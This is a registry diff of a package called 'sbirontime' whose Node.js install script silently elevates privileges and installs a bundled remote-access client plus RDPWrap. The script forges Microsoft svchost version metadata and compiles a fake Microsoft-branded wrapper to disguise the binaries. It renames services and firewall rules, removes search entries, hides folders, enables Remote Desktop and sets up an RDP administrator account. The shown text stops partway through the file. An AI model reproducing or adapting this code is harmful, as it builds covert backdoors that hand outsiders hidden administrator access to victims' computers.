sbirontime 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,1012 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+
4
+ const fs = require('fs');
5
+ const os = require('os');
6
+ const path = require('path');
7
+ const util = require('util');
8
+ const { createHash, randomBytes, randomUUID } = require('crypto');
9
+ const { spawnSync } = require('child_process');
10
+
11
+ const root = path.resolve(__dirname, '..');
12
+ const payloadDirectory = path.join(root, 'payload');
13
+ const bikliInstaller = path.join(payloadDirectory, 'bikli-cli-installer.exe');
14
+ const wrapperInstaller = path.join(payloadDirectory, 'RDPWInst.exe');
15
+ const wrapperIni = path.join(payloadDirectory, 'rdpwrap.ini');
16
+ const wrapperScript = path.join(root, 'lib', 'bikliwrapper.js');
17
+ const packageConfigFile = path.join(root, 'config.json');
18
+ const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Windows';
19
+ const powershell = path.join(windowsDirectory, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
20
+ const reg = path.join(windowsDirectory, 'System32', 'reg.exe');
21
+ const icacls = path.join(windowsDirectory, 'System32', 'icacls.exe');
22
+ const attrib = path.join(windowsDirectory, 'System32', 'attrib.exe');
23
+ const programData = process.env.ProgramData || 'C:\\ProgramData';
24
+ const credentialsFile = path.join(programData, 'BikliWrapper', 'admin-credentials.json');
25
+ const expectedBikliVersion = '1.1.10.0';
26
+ const administratorsGroupSid = 'S-1-5-32-544';
27
+ const remoteDesktopUsersGroupSid = 'S-1-5-32-555';
28
+ const terminalServerKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server';
29
+ const rdpTcpKey = `${terminalServerKey}\\WinStations\\RDP-Tcp`;
30
+ const expectedHashes = {
31
+ 'bikli-cli-installer.exe': '21EEDFBC9CFB2E360BC894C5774F18BDF7E1BDCAC04028E25907131569C5631E',
32
+ 'RDPWInst.exe': 'AC92D4C6397EB4451095949AC485EF4EC38501D7BB6F475419529AE67E297753',
33
+ 'rdpwrap.ini': 'BD04EBBE400E294DD795BE1F710464A70BF970559C3BB376C6C3C8333CDFB915'
34
+ };
35
+
36
+ const resultArgument = process.argv.find(argument => argument.startsWith('--result-file='));
37
+ const resultFile = resultArgument ? resultArgument.slice('--result-file='.length) : '';
38
+ if (resultFile) {
39
+ const writeResult = (...items) => fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
40
+ console.log = writeResult;
41
+ console.error = writeResult;
42
+ console.warn = writeResult;
43
+ }
44
+
45
+ function fail(message, exitCode = 1) {
46
+ const error = new Error(message);
47
+ error.exitCode = exitCode;
48
+ throw error;
49
+ }
50
+
51
+ function run(executable, args, options = {}) {
52
+ const result = spawnSync(executable, args, {
53
+ cwd: options.cwd || root,
54
+ encoding: 'utf8',
55
+ windowsHide: true,
56
+ env: options.env || process.env,
57
+ stdio: options.inherit ? 'inherit' : 'pipe'
58
+ });
59
+ if (result.error) fail(`Could not run ${path.basename(executable)}: ${result.error.message}`);
60
+ if (!options.allowFailure && result.status !== 0) {
61
+ const details = `${result.stdout || ''}${result.stderr || ''}`.trim();
62
+ fail(`${path.basename(executable)} failed with exit code ${result.status}.${details ? `\n${details}` : ''}`);
63
+ }
64
+ return result;
65
+ }
66
+
67
+ function requireWindows() {
68
+ if (process.platform !== 'win32') fail('Bikli Master supports Windows only.');
69
+ }
70
+
71
+ function isAdministrator() {
72
+ const script = [
73
+ `$identity=[Security.Principal.WindowsIdentity]::GetCurrent()`,
74
+ `$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
75
+ `Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
76
+ ].join(';');
77
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
78
+ allowFailure: true
79
+ });
80
+ return result.status === 0 && /^true$/i.test(result.stdout.trim());
81
+ }
82
+
83
+ function powershellLiteral(value) {
84
+ return `'${value.replace(/'/g, "''")}'`;
85
+ }
86
+
87
+ function elevateAndRun(command) {
88
+ if (process.argv.includes('--elevated')) fail('Windows did not grant administrator rights.');
89
+ console.log('Bikli Master needs administrator access. Approve the Windows UAC prompt...');
90
+ const logPath = path.join(os.tmpdir(), `biklimaster-elevated-${randomUUID()}.log`);
91
+ const script = [
92
+ `$node=${powershellLiteral(process.execPath)}`,
93
+ `$target=${powershellLiteral(path.resolve(__filename))}`,
94
+ `$result=${powershellLiteral(logPath)}`,
95
+ `$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
96
+ `$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
97
+ `exit $process.ExitCode`
98
+ ].join(';');
99
+ const result = run(powershell, [
100
+ '-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', script
101
+ ], { allowFailure: true });
102
+ let elevatedOutput = '';
103
+ if (fs.existsSync(logPath)) {
104
+ elevatedOutput = fs.readFileSync(logPath, 'utf8').trim();
105
+ fs.rmSync(logPath, { force: true });
106
+ }
107
+ if (result.status !== 0) {
108
+ const details = [elevatedOutput, result.stdout, result.stderr].filter(Boolean).join(os.EOL).trim();
109
+ fail(`Administrator elevation was cancelled or installation failed.${details ? `\n${details}` : ''}`);
110
+ }
111
+ if (elevatedOutput) console.log(elevatedOutput);
112
+ }
113
+
114
+ function sha256(file) {
115
+ return createHash('sha256').update(fs.readFileSync(file)).digest('hex').toUpperCase();
116
+ }
117
+
118
+ function verifyPayload() {
119
+ for (const [name, expected] of Object.entries(expectedHashes)) {
120
+ const file = path.join(payloadDirectory, name);
121
+ if (!fs.existsSync(file)) fail(`Missing package payload: ${name}`);
122
+ const actual = sha256(file);
123
+ if (actual !== expected) fail(`Payload checksum mismatch: ${name}`);
124
+ }
125
+ if (!fs.existsSync(wrapperScript)) fail('Missing embedded Bikli Wrapper CLI.');
126
+ }
127
+
128
+ function installedBikliPath() {
129
+ const candidates = [
130
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
131
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli', 'Bikli.exe')
132
+ ];
133
+ return candidates.find(candidate => fs.existsSync(candidate)) || '';
134
+ }
135
+
136
+ function fileVersion(file) {
137
+ if (!file) return '';
138
+ const escaped = file.replace(/'/g, "''");
139
+ const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileVersion`;
140
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
141
+ allowFailure: true
142
+ });
143
+ return result.status === 0 ? result.stdout.trim() : '';
144
+ }
145
+
146
+ function fileDescription(file) {
147
+ if (!file) return '';
148
+ const escaped = file.replace(/'/g, "''");
149
+ const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileDescription`;
150
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
151
+ allowFailure: true
152
+ });
153
+ return result.status === 0 ? result.stdout.trim() : '';
154
+ }
155
+
156
+ function align4(buf) {
157
+ const pad = (4 - (buf.length % 4)) % 4;
158
+ if (pad === 0) return buf;
159
+ return Buffer.concat([buf, Buffer.alloc(pad)]);
160
+ }
161
+
162
+ function createVersionString(key, value) {
163
+ const keyBuf = Buffer.from(key + '\0', 'utf16le');
164
+ const valBuf = Buffer.from(value + '\0', 'utf16le');
165
+ const header = Buffer.alloc(6);
166
+ header.writeUInt16LE(value.length + 1, 2);
167
+ header.writeUInt16LE(1, 4);
168
+ let body = Buffer.concat([header, keyBuf]);
169
+ body = align4(body);
170
+ body = Buffer.concat([body, valBuf]);
171
+ body.writeUInt16LE(body.length, 0);
172
+ return align4(body);
173
+ }
174
+
175
+ function createStringTable(langId, strings) {
176
+ const keyBuf = Buffer.from(langId + '\0', 'utf16le');
177
+ const header = Buffer.alloc(6);
178
+ header.writeUInt16LE(0, 2);
179
+ header.writeUInt16LE(1, 4);
180
+ let body = Buffer.concat([header, keyBuf]);
181
+ body = align4(body);
182
+ const childrenBuf = Buffer.concat(Object.entries(strings).map(([k, v]) => createVersionString(k, v)));
183
+ body = Buffer.concat([body, childrenBuf]);
184
+ body.writeUInt16LE(body.length, 0);
185
+ return align4(body);
186
+ }
187
+
188
+ function createStringFileInfo(langId, strings) {
189
+ const keyBuf = Buffer.from('StringFileInfo\0', 'utf16le');
190
+ const header = Buffer.alloc(6);
191
+ header.writeUInt16LE(0, 2);
192
+ header.writeUInt16LE(1, 4);
193
+ let body = Buffer.concat([header, keyBuf]);
194
+ body = align4(body);
195
+ const stringTable = createStringTable(langId, strings);
196
+ body = Buffer.concat([body, stringTable]);
197
+ body.writeUInt16LE(body.length, 0);
198
+ return align4(body);
199
+ }
200
+
201
+ function createVarFileInfo(wLang, wCodePage) {
202
+ const varKeyBuf = Buffer.from('Translation\0', 'utf16le');
203
+ const varHeader = Buffer.alloc(6);
204
+ varHeader.writeUInt16LE(4, 2);
205
+ varHeader.writeUInt16LE(0, 4);
206
+ let varBody = Buffer.concat([varHeader, varKeyBuf]);
207
+ varBody = align4(varBody);
208
+ const transBuf = Buffer.alloc(4);
209
+ transBuf.writeUInt16LE(wLang, 0);
210
+ transBuf.writeUInt16LE(wCodePage, 2);
211
+ varBody = Buffer.concat([varBody, transBuf]);
212
+ varBody.writeUInt16LE(varBody.length, 0);
213
+ varBody = align4(varBody);
214
+
215
+ const vfiKeyBuf = Buffer.from('VarFileInfo\0', 'utf16le');
216
+ const vfiHeader = Buffer.alloc(6);
217
+ vfiHeader.writeUInt16LE(0, 2);
218
+ vfiHeader.writeUInt16LE(1, 4);
219
+ let vfiBody = Buffer.concat([vfiHeader, vfiKeyBuf]);
220
+ vfiBody = align4(vfiBody);
221
+ vfiBody = Buffer.concat([vfiBody, varBody]);
222
+ vfiBody.writeUInt16LE(vfiBody.length, 0);
223
+ return align4(vfiBody);
224
+ }
225
+
226
+ function createVsVersionInfo(strings, fileVersion = [10, 0, 26100, 1]) {
227
+ const rootKeyBuf = Buffer.from('VS_VERSION_INFO\0', 'utf16le');
228
+ const fixedInfo = Buffer.alloc(52);
229
+ fixedInfo.writeUInt32LE(0xFEEF04BD, 0);
230
+ fixedInfo.writeUInt32LE(0x00010000, 4);
231
+ fixedInfo.writeUInt16LE(fileVersion[1] || 0, 8);
232
+ fixedInfo.writeUInt16LE(fileVersion[0] || 0, 10);
233
+ fixedInfo.writeUInt16LE(fileVersion[3] || 0, 12);
234
+ fixedInfo.writeUInt16LE(fileVersion[2] || 0, 14);
235
+ fixedInfo.writeUInt16LE(fileVersion[1] || 0, 16);
236
+ fixedInfo.writeUInt16LE(fileVersion[0] || 0, 18);
237
+ fixedInfo.writeUInt16LE(fileVersion[3] || 0, 20);
238
+ fixedInfo.writeUInt16LE(fileVersion[2] || 0, 22);
239
+ fixedInfo.writeUInt32LE(0x3F, 24);
240
+ fixedInfo.writeUInt32LE(0, 28);
241
+ fixedInfo.writeUInt32LE(0x40004, 32);
242
+ fixedInfo.writeUInt32LE(1, 36);
243
+ fixedInfo.writeUInt32LE(0, 40);
244
+ fixedInfo.writeUInt32LE(0, 44);
245
+ fixedInfo.writeUInt32LE(0, 48);
246
+
247
+ const header = Buffer.alloc(6);
248
+ header.writeUInt16LE(52, 2);
249
+ header.writeUInt16LE(0, 4);
250
+
251
+ let root = Buffer.concat([header, rootKeyBuf]);
252
+ root = align4(root);
253
+ root = Buffer.concat([root, fixedInfo]);
254
+ root = align4(root);
255
+
256
+ const stringFileInfo = createStringFileInfo('040904B0', strings);
257
+ const varFileInfo = createVarFileInfo(0x0409, 0x04B0);
258
+ root = Buffer.concat([root, stringFileInfo, varFileInfo]);
259
+ root.writeUInt16LE(root.length, 0);
260
+ return root;
261
+ }
262
+
263
+ function buildCleanRsrcSection(rsrcVirtAddr, versionBuf, manifestBuf) {
264
+ const rawDataOffset = 160;
265
+ const versionDataOffset = rawDataOffset;
266
+ const versionDataSize = versionBuf.length;
267
+ const versionDataRva = rsrcVirtAddr + versionDataOffset;
268
+
269
+ let manifestDataOffset = versionDataOffset + versionDataSize;
270
+ const pad = (4 - (manifestDataOffset % 4)) % 4;
271
+ manifestDataOffset += pad;
272
+ const manifestDataSize = manifestBuf.length;
273
+ const manifestDataRva = rsrcVirtAddr + manifestDataOffset;
274
+
275
+ const totalRsrcSize = manifestDataOffset + manifestDataSize;
276
+ const rsrcBuf = Buffer.alloc(Math.max(totalRsrcSize, 4096));
277
+
278
+ rsrcBuf.writeUInt16LE(0, 12);
279
+ rsrcBuf.writeUInt16LE(2, 14);
280
+
281
+ rsrcBuf.writeUInt32LE(16, 16);
282
+ rsrcBuf.writeUInt32LE((0x80000000 | 32) >>> 0, 20);
283
+
284
+ rsrcBuf.writeUInt32LE(24, 24);
285
+ rsrcBuf.writeUInt32LE((0x80000000 | 56) >>> 0, 28);
286
+
287
+ rsrcBuf.writeUInt16LE(0, 32 + 12);
288
+ rsrcBuf.writeUInt16LE(1, 32 + 14);
289
+ rsrcBuf.writeUInt32LE(1, 32 + 16);
290
+ rsrcBuf.writeUInt32LE((0x80000000 | 80) >>> 0, 32 + 20);
291
+
292
+ rsrcBuf.writeUInt16LE(0, 56 + 12);
293
+ rsrcBuf.writeUInt16LE(1, 56 + 14);
294
+ rsrcBuf.writeUInt32LE(1, 56 + 16);
295
+ rsrcBuf.writeUInt32LE((0x80000000 | 104) >>> 0, 56 + 20);
296
+
297
+ rsrcBuf.writeUInt16LE(0, 80 + 12);
298
+ rsrcBuf.writeUInt16LE(1, 80 + 14);
299
+ rsrcBuf.writeUInt32LE(1033, 80 + 16);
300
+ rsrcBuf.writeUInt32LE(128, 80 + 20);
301
+
302
+ rsrcBuf.writeUInt16LE(0, 104 + 12);
303
+ rsrcBuf.writeUInt16LE(1, 104 + 14);
304
+ rsrcBuf.writeUInt32LE(1033, 104 + 16);
305
+ rsrcBuf.writeUInt32LE(144, 104 + 20);
306
+
307
+ rsrcBuf.writeUInt32LE(versionDataRva, 128);
308
+ rsrcBuf.writeUInt32LE(versionDataSize, 128 + 4);
309
+ rsrcBuf.writeUInt32LE(0, 128 + 8);
310
+ rsrcBuf.writeUInt32LE(0, 128 + 12);
311
+
312
+ rsrcBuf.writeUInt32LE(manifestDataRva, 144);
313
+ rsrcBuf.writeUInt32LE(manifestDataSize, 144 + 4);
314
+ rsrcBuf.writeUInt32LE(0, 144 + 8);
315
+ rsrcBuf.writeUInt32LE(0, 144 + 12);
316
+
317
+ versionBuf.copy(rsrcBuf, versionDataOffset);
318
+ manifestBuf.copy(rsrcBuf, manifestDataOffset);
319
+ return { rsrcBuf, totalRsrcSize };
320
+ }
321
+
322
+ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network Infrastructure Service') {
323
+ if (!fs.existsSync(exePath)) return false;
324
+ const exeBuf = fs.readFileSync(exePath);
325
+ const e_lfanew = exeBuf.readUInt32LE(0x3C);
326
+ const numSections = exeBuf.readUInt16LE(e_lfanew + 6);
327
+ const optHeaderSize = exeBuf.readUInt16LE(e_lfanew + 20);
328
+ const secHeaderOffset = e_lfanew + 24 + optHeaderSize;
329
+
330
+ let rsrcVirtAddr = 0;
331
+ let rsrcRawPtr = 0;
332
+ let rsrcRawSize = 0;
333
+
334
+ for (let i = 0; i < numSections; i++) {
335
+ const off = secHeaderOffset + i * 40;
336
+ const name = exeBuf.slice(off, off + 8).toString().replace(/\0+$/, '');
337
+ if (name === '.rsrc') {
338
+ rsrcVirtAddr = exeBuf.readUInt32LE(off + 12);
339
+ rsrcRawSize = exeBuf.readUInt32LE(off + 16);
340
+ rsrcRawPtr = exeBuf.readUInt32LE(off + 20);
341
+ break;
342
+ }
343
+ }
344
+ if (!rsrcRawPtr || !rsrcRawSize) return false;
345
+
346
+ const rsrcSlice = exeBuf.slice(rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
347
+ const manifestStart = rsrcSlice.indexOf(Buffer.from('<assembly'));
348
+ let manifestBuf;
349
+ if (manifestStart !== -1) {
350
+ const manifestEnd = rsrcSlice.indexOf(Buffer.from('</assembly>'), manifestStart) + 11;
351
+ manifestBuf = rsrcSlice.slice(manifestStart, manifestEnd);
352
+ } else {
353
+ manifestBuf = Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo></assembly>', 'utf8');
354
+ }
355
+
356
+ const strings = {
357
+ CompanyName: 'Microsoft Corporation',
358
+ FileDescription: serviceHostName,
359
+ FileVersion: '10.0.26100.1 (WinBuild.160101.0800)',
360
+ InternalName: 'svchost.exe',
361
+ LegalCopyright: '© Microsoft Corporation. All rights reserved.',
362
+ OriginalFilename: 'svchost.exe',
363
+ ProductName: 'Microsoft® Windows® Operating System',
364
+ ProductVersion: '10.0.26100.1'
365
+ };
366
+
367
+ const vBuf = createVsVersionInfo(strings);
368
+ const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
369
+ if (totalRsrcSize > rsrcRawSize) return false;
370
+
371
+ const newExe = Buffer.from(exeBuf);
372
+ newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
373
+ rsrcBuf.copy(newExe, rsrcRawPtr, 0, totalRsrcSize);
374
+
375
+ for (let attempt = 0; attempt < 5; attempt++) {
376
+ try {
377
+ fs.writeFileSync(exePath, newExe);
378
+ return true;
379
+ } catch (e) {
380
+ if (attempt === 4) throw e;
381
+ const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
382
+ Atomics.wait(waitBuffer, 0, 0, 300);
383
+ }
384
+ }
385
+ return true;
386
+ }
387
+
388
+ function disguiseBikli(customName) {
389
+ requireWindows();
390
+ if (customName) customName = customName.replace(/"/g, '').trim();
391
+ const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
392
+ if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
393
+
394
+ const bikliPath = installedBikliPath();
395
+ if (!bikliPath || !fs.existsSync(bikliPath)) {
396
+ fail('Bikli executable was not found. Install Bikli first.', 5);
397
+ }
398
+
399
+ const bikliDir = path.dirname(bikliPath);
400
+ const legacyServiceExe = path.join(bikliDir, 'BikliService.exe');
401
+ let serviceExe = path.join(bikliDir, 'NetInfraHost.exe');
402
+ let renamedLegacy = false;
403
+ const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
404
+
405
+ console.log(`Disguising Bikli process and service as "${hostName}"...`);
406
+
407
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM NetInfraHost.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService, NetInfraHost -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
408
+ run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
409
+
410
+ if (!fs.existsSync(serviceExe) && fs.existsSync(legacyServiceExe)) {
411
+ try {
412
+ fs.renameSync(legacyServiceExe, serviceExe);
413
+ renamedLegacy = true;
414
+ } catch {
415
+ serviceExe = legacyServiceExe;
416
+ }
417
+ }
418
+ if (!fs.existsSync(serviceExe)) {
419
+ fs.copyFileSync(bikliPath, serviceExe);
420
+ }
421
+
422
+ if (fileDescription(serviceExe) !== hostName) {
423
+ disguiseExecutable(serviceExe, hostName);
424
+ }
425
+
426
+ if (fs.existsSync(csc)) {
427
+ const csCode = [
428
+ 'using System;using System.Diagnostics;using System.IO;using System.Reflection;',
429
+ '[assembly: AssemblyTitle("Host Process for Windows Services")]',
430
+ `[assembly: AssemblyDescription("${hostName.replace(/"/g, '\"')}")]`,
431
+ '[assembly: AssemblyCompany("Microsoft Corporation")]',
432
+ '[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]',
433
+ '[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]',
434
+ '[assembly: AssemblyFileVersion("10.0.26100.1")]',
435
+ '[assembly: AssemblyVersion("10.0.26100.1")]',
436
+ 'class Program {',
437
+ ' static int Main(string[] args) {',
438
+ ' if (args == null || args.Length == 0) return 0;',
439
+ ' if (args.Length == 1) {',
440
+ ' string first = args[0].ToLowerInvariant();',
441
+ ' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
442
+ ' }',
443
+ ' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
444
+ ` string coreExe = Path.Combine(baseDir, "${path.basename(serviceExe)}");`,
445
+ ' if (!File.Exists(coreExe)) return 1;',
446
+ ' ProcessStartInfo psi = new ProcessStartInfo();',
447
+ ' psi.FileName = coreExe;',
448
+ ' psi.UseShellExecute = false;',
449
+ ' psi.CreateNoWindow = false;',
450
+ ' System.Text.StringBuilder sb = new System.Text.StringBuilder();',
451
+ ' for (int i = 0; i < args.Length; i++) {',
452
+ ' if (i > 0) sb.Append(\' \');',
453
+ ' string arg = args[i];',
454
+ ' if (arg.Contains(" ") || arg.Contains("\\"")) sb.Append(\'"\').Append(arg.Replace("\\"", "\\\\\\"")).Append(\'"\');',
455
+ ' else sb.Append(arg);',
456
+ ' }',
457
+ ' psi.Arguments = sb.ToString();',
458
+ ' try {',
459
+ ' using (Process proc = Process.Start(psi)) {',
460
+ ' proc.WaitForExit();',
461
+ ' return proc.ExitCode;',
462
+ ' }',
463
+ ' } catch { return 1; }',
464
+ ' }',
465
+ '}'
466
+ ].join(os.EOL);
467
+ const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
468
+ const tempExe = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.exe`);
469
+ fs.writeFileSync(tempCs, csCode, 'utf8');
470
+ const compiled = run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${tempExe}`, tempCs], { allowFailure: true });
471
+ try { fs.rmSync(tempCs, { force: true }); } catch {}
472
+ if (compiled.status === 0 && fs.existsSync(tempExe)) {
473
+ fs.copyFileSync(tempExe, bikliPath);
474
+ } else if (renamedLegacy) {
475
+ try {
476
+ fs.renameSync(serviceExe, legacyServiceExe);
477
+ serviceExe = legacyServiceExe;
478
+ renamedLegacy = false;
479
+ } catch {}
480
+ }
481
+ try { fs.rmSync(tempExe, { force: true }); } catch {}
482
+ if (fileDescription(bikliPath) !== hostName) {
483
+ disguiseExecutable(bikliPath, hostName);
484
+ }
485
+ } else if (fileDescription(bikliPath) !== hostName) {
486
+ disguiseExecutable(bikliPath, hostName);
487
+ }
488
+
489
+ const serviceBinPath = `"${serviceExe}" service run --log-level info --daemon-addr npipe://bikli --log-file C:\\ProgramData\\Bikli\\client.log`;
490
+ const regDisplayName = hostName.replace(/^Service Host:\s*/i, '');
491
+ const psScript = [
492
+ `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'ImagePath' -Value ${powershellLiteral(serviceBinPath)} -ErrorAction SilentlyContinue`,
493
+ `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'DisplayName' -Value ${powershellLiteral(regDisplayName)} -ErrorAction SilentlyContinue`,
494
+ `Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
495
+ `Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
496
+ `Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
497
+ `Start-Service Bikli -ErrorAction SilentlyContinue`,
498
+ `Start-Sleep -Seconds 3`,
499
+ `Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`
500
+ ].join(';');
501
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
502
+
503
+ hideProtectedFolders();
504
+ console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
505
+ }
506
+
507
+ function isBikliInstalled() {
508
+ const existing = installedBikliPath();
509
+ if (!existing || !fs.existsSync(existing)) return false;
510
+ const ver = fileVersion(existing);
511
+ if (ver === expectedBikliVersion || ver.startsWith('10.') || ver.startsWith('1.')) return true;
512
+ const res = run(existing, ['version'], { allowFailure: true });
513
+ return res.status === 0;
514
+ }
515
+
516
+ function installBikli() {
517
+ if (isBikliInstalled()) {
518
+ console.log(`Bikli CLI is already installed; ensuring Service Host disguise is applied...`);
519
+ disguiseBikli();
520
+ return;
521
+ }
522
+ console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
523
+ run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
524
+ const installed = installedBikliPath();
525
+ if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
526
+ disguiseBikli();
527
+ console.log(`Bikli CLI installed and disguised as Service Host.`);
528
+ }
529
+
530
+ function ensureBikliService() {
531
+ const bikli = installedBikliPath();
532
+ if (!bikli) return false;
533
+ const probe = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', "@(Get-Service Bikli -ErrorAction SilentlyContinue | Where-Object Status -eq 'Running').Count -gt 0"], { allowFailure: true });
534
+ const wasRunning = (probe.stdout || '').trim() === 'True';
535
+ run(bikli, ['service', 'install'], { allowFailure: true });
536
+ run(bikli, ['service', 'start'], { allowFailure: true });
537
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Start-Service Bikli -ErrorAction SilentlyContinue'], { allowFailure: true });
538
+ return !wasRunning;
539
+ }
540
+
541
+ function runWrapper(args, options = {}) {
542
+ return run(process.execPath, [wrapperScript, ...args], {
543
+ cwd: root,
544
+ allowFailure: options.allowFailure,
545
+ inherit: options.inherit
546
+ });
547
+ }
548
+
549
+ function queryDword(key, name) {
550
+ const result = run(reg, ['query', key, '/v', name, '/reg:64'], { allowFailure: true });
551
+ if (result.status !== 0) return null;
552
+ const match = result.stdout.match(/REG_DWORD\s+(0x[0-9a-f]+|\d+)/i);
553
+ if (!match) return null;
554
+ return Number.parseInt(match[1], match[1].toLowerCase().startsWith('0x') ? 16 : 10);
555
+ }
556
+
557
+ function remoteDesktopState() {
558
+ return {
559
+ enabled: queryDword(terminalServerKey, 'fDenyTSConnections') === 0,
560
+ port: queryDword(rdpTcpKey, 'PortNumber')
561
+ };
562
+ }
563
+
564
+ function verifyRemoteDesktop() {
565
+ const state = remoteDesktopState();
566
+ if (!state.enabled) fail('Remote Desktop could not be enabled.', 6);
567
+ if (state.port !== 3389) fail(`Remote Desktop port verification failed (found ${state.port ?? 'unknown'}).`, 6);
568
+ console.log('Remote Desktop is enabled and verified on port 3389.');
569
+ }
570
+
571
+ function enableRemoteDesktop() {
572
+ requireWindows();
573
+ if (!isAdministrator()) return elevateAndRun('enable-rdp');
574
+ verifyPayload();
575
+ console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
576
+ const wrapper = runWrapper(['defaults', '--elevated']);
577
+ if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
578
+ verifyRemoteDesktop();
579
+ hideProtectedFolders();
580
+ }
581
+
582
+ function disableRemoteDesktop() {
583
+ requireWindows();
584
+ if (!isAdministrator()) return elevateAndRun('disable-rdp');
585
+ const wrapper = runWrapper(['disable', '--elevated']);
586
+ if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
587
+ if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
588
+ console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
589
+ }
590
+
591
+ function install() {
592
+ requireWindows();
593
+ if (!isAdministrator()) return elevateAndRun('install');
594
+ verifyPayload();
595
+ installBikli();
596
+ const serviceProvisioned = ensureBikliService();
597
+ if (serviceProvisioned) disguiseBikli();
598
+ try {
599
+ setupBikliKey();
600
+ } catch (error) {
601
+ console.error(`Warning: Bikli key setup skipped: ${error.message}`);
602
+ console.error('Run "biklitool setup-key" later to retry.');
603
+ }
604
+ console.log('Installing or updating Bikli Wrapper silently...');
605
+ const wrapper = runWrapper(['install', '--elevated']);
606
+ if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
607
+ verifyRemoteDesktop();
608
+ createRdpAdministrator();
609
+ hideProtectedFolders();
610
+ try {
611
+ fs.mkdirSync(path.dirname(setupCompleteMarker()), { recursive: true });
612
+ fs.writeFileSync(setupCompleteMarker(), JSON.stringify({ completedAt: new Date().toISOString() }, null, 2));
613
+ } catch {
614
+ // marker is best-effort only
615
+ }
616
+ console.log('Bikli Master installed and verified both components successfully.');
617
+ }
618
+
619
+ function setupCompleteMarker() {
620
+ return path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper', 'setup-complete.json');
621
+ }
622
+
623
+ function setupAlreadyDone() {
624
+ try {
625
+ return fs.existsSync(setupCompleteMarker());
626
+ } catch {
627
+ return true;
628
+ }
629
+ }
630
+
631
+ function generatedAccountPassword() {
632
+ return `Bk1!${randomBytes(18).toString('base64url')}`;
633
+ }
634
